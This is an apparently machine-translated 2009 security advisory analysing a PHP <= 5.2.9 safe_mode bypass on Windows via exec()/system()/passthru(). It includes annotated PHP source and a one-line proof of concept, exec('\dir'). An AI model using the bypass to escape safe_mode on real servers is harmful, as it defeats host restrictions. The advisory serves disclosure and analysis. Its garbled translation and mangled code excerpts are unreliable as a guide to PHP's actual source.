Safe Mode exec and other functions are security risks-vulnerability warning-the black bar safety net

2009-05-29T00:00:00
ID MYHACK58:62200923386
Type myhack58
Reporter 佚名
Modified 2009-05-29T00:00:00

Description

When safe_mode=on and safe_mode_exec_dir is empty[default is empty],php in dealing with this process there are security risks,under windows, the exec()/system()/passthru()can be introduced into the\To perform procedures,to bypass the Safe Mode

author: 80vul-B team:http://www. 80vul. com date:2009-05-27

A Preface

Just yesterday milw0rm released a very interesting vulnerability:PHP <= 5.2.9 Local Safemod Bypass Exploit (win32). The author saw the announcement after,in the php source code on the basis of the analysis of this question under the fundamental reasons,then there is this article.

II describe

In php manual there is a section:<security mode to limit or shield the function> given by the security modes and effects some of the functions such as:

backtick operator this function in a secure mode disabled. shell_exec () in functions and the backticks function same as the function in a secure mode disabled. exec() only in the safe_mode_exec_dir setting the directory to perform the operation. For some reason, the current can not be in the executable object in the path using the ..。 escapeshellcmd() is applied to this function's parameters. system() only in the safe_mode_exec_dir setting the directory to perform the operation. For some reason, the current can not be in the executable object in the path using the ..。 escapeshellcmd() is applied to this function's parameters. the passthru() only in the safe_mode_exec_dir setting the directory to perform the operation. For some reason, the current can not be in the executable object in the path using the ..。 escapeshellcmd() is applied to this function's parameters. popen() can only be in the safe_mode_exec_dir setting the directory to perform the operation. For some reason, the current can not be in the executable object in the path using the ..。 escapeshellcmd() is applied to this function's parameters.

Careful friends may find that in Safe mode,for the exec()/system()/passthru()/popen()4 a function is not disabled,just need in the safe_mode_exec_dir directory under perform,but when safe_mode=on and safe_mode_exec_dir is empty[default is empty],php in dealing with this process there are security risks,under windows, the exec()/system()/passthru()can be introduced into the\To execute the program:) [ps:popen()does not exist this problem,article the back will give a reason.]

The third code analysis:

To the exec()function, for example, analyze the following source code:

PHP code C++code // exec. c PHP_FUNCTION(exec) { php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } // system(),passthru()function is also called php_exec_ex but popen()is not ... static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode) { char cmd; int cmd_len; zval ret_code=NULL, ret_array=NULL; int ret; ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) { RETURN_FALSE; } ... if (! ret_array) { ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC); ... int php_exec(int type, char cmd, zval array, zval return_value TSRMLS_DC) { ... if (PG(safe_mode)) { if ((c = strchr(cmd, ' '))) { *c = '\0'; c++; } // Fetch cmd in the Parameters section

if (strstr(cmd, "..")) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "No '..' components allowed in path"); goto err; } // Do not allow the use of..to the jump directory ,this is also the php manual described does not allow..the processing code

b = strrchr(cmd, PHP_DIR_SEPARATOR); // On win and under PHP_DIR_SEPARATOR\,*nix is/,specifically defined in main/php. h // If cmd is 80vul\b\dir,then this part of the value obtained is\dir

spprintf(&d, 0, "%s%s%s%s%s", PG(safe_mode_exec_dir), (b? "" : "/"), (b ? b : cmd), (c ? "" : ""), (c ? c : "")); // This sentence is the security risks of the key point // If php. ini is not set safe_mode_exec_dir words,80vul\dir after the above processing is\dir[if submitted directly to the dir will be processed to/dir] // This is also the need"safe_mode_exec_dir is empty[default is empty]"the reason

if (c) { *(c - 1) = ' '; } cmd_p = php_escape_shell_cmd(d); // Here call the php_escape_shell_cmd processing

...

ifdef PHP_WIN32

fp = VCWD_POPEN(cmd_p, "rb");

else

fp = VCWD_POPEN(cmd_p, "r");

endif

... char php_escape_shell_cmd(char str) { register int x, y, l; char cmd; char p = NULL;

TSRMLS_FETCH();

l = strlen(str); cmd = safe_emalloc(2, l, 1);

for (x = 0, y = 0; x < l; x++) { // Here, the strlen,so this function is not safe binary int mb_len = php_mblen(str + x, (l - x));

/ skip non-valid multibyte characters / if (mb_len < 0) { continue; } else if (mb_len > 1) { memcpy(cmd + y, str + x, mb_len); y += mb_len; x += mb_len - 1; continue; } // This part of code is in order to fill the se Niu proposed that the encoding problem:p // <http://www.sektioneins.de/advisories/SE-2008-03.txt>

switch (str[x]) { ... case '\\': ...

ifdef PHP_WIN32

/ since Windows does not allow us to escape these chars, just remove them / case '%': cmd[y++] = ' '; break; // If win, under the words,put the\and other special characters removed // Then\dir after this function after processing it into a dir.:)

endif

cmd[y++] = '\\'; / fall-through / default: cmd[y++] = str[x]; ...

// tsrm_win32. c TSRM_API FILE popen_ex(const char command, const char type, const char cwd, char env) { ... cmd = (char)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")); sprintf(cmd, "%s /c %s", TWG(comspec), command); if (! CreateProcess(NULL, cmd, &security, &security, security. bInheritHandle, NORMAL_PRIORITY_CLASS|Create_NO_WINDOW, env, cwd, &startup, &pincorporated herein by reference)) { // Call CreateProcess to create a thread,execute the command return NULL; }

Below is a look at popen()code:

PHP code PHP_FUNCTION(popen) { .... if (PG(safe_mode)){ b = strchr(Z_STRVAL_PP(arg1), ' '); if (! b) { b = strrchr(Z_STRVAL_PP(arg1), '/'); \\The direct use of / ,not considered a windows system under\support,so it is not the presence of the above problems } else { char c; c = Z_STRVAL_PP(arg1); while((b != '/') && (b != c)) { b--; } if (b == c) { b = NULL; } }

if (b) { spprintf(&buf, 0, "%s%s", PG(safe_mode_exec_dir), b); } else { spprintf(&buf, 0, "%s/%s", PG(safe_mode_exec_dir), Z_STRVAL_PP(arg1)); }

tmp = php_escape_shell_cmd(buf); fp = VCWD_POPEN(tmp, p); ....

Four test code

PoC:

PHP code <? php

// safe_mode=On and safe_mode_exec_dir not set in php. ini // test on win32

echo exec('\dir'); // system('\dir'); // passthru('\dir');

?& gt;

Five actual use:

PHP <= 5.2.9 SafeMod Bypass Vulnerability [by www.abysssec.com] <http://www.milw0rm.com/exploits/8799>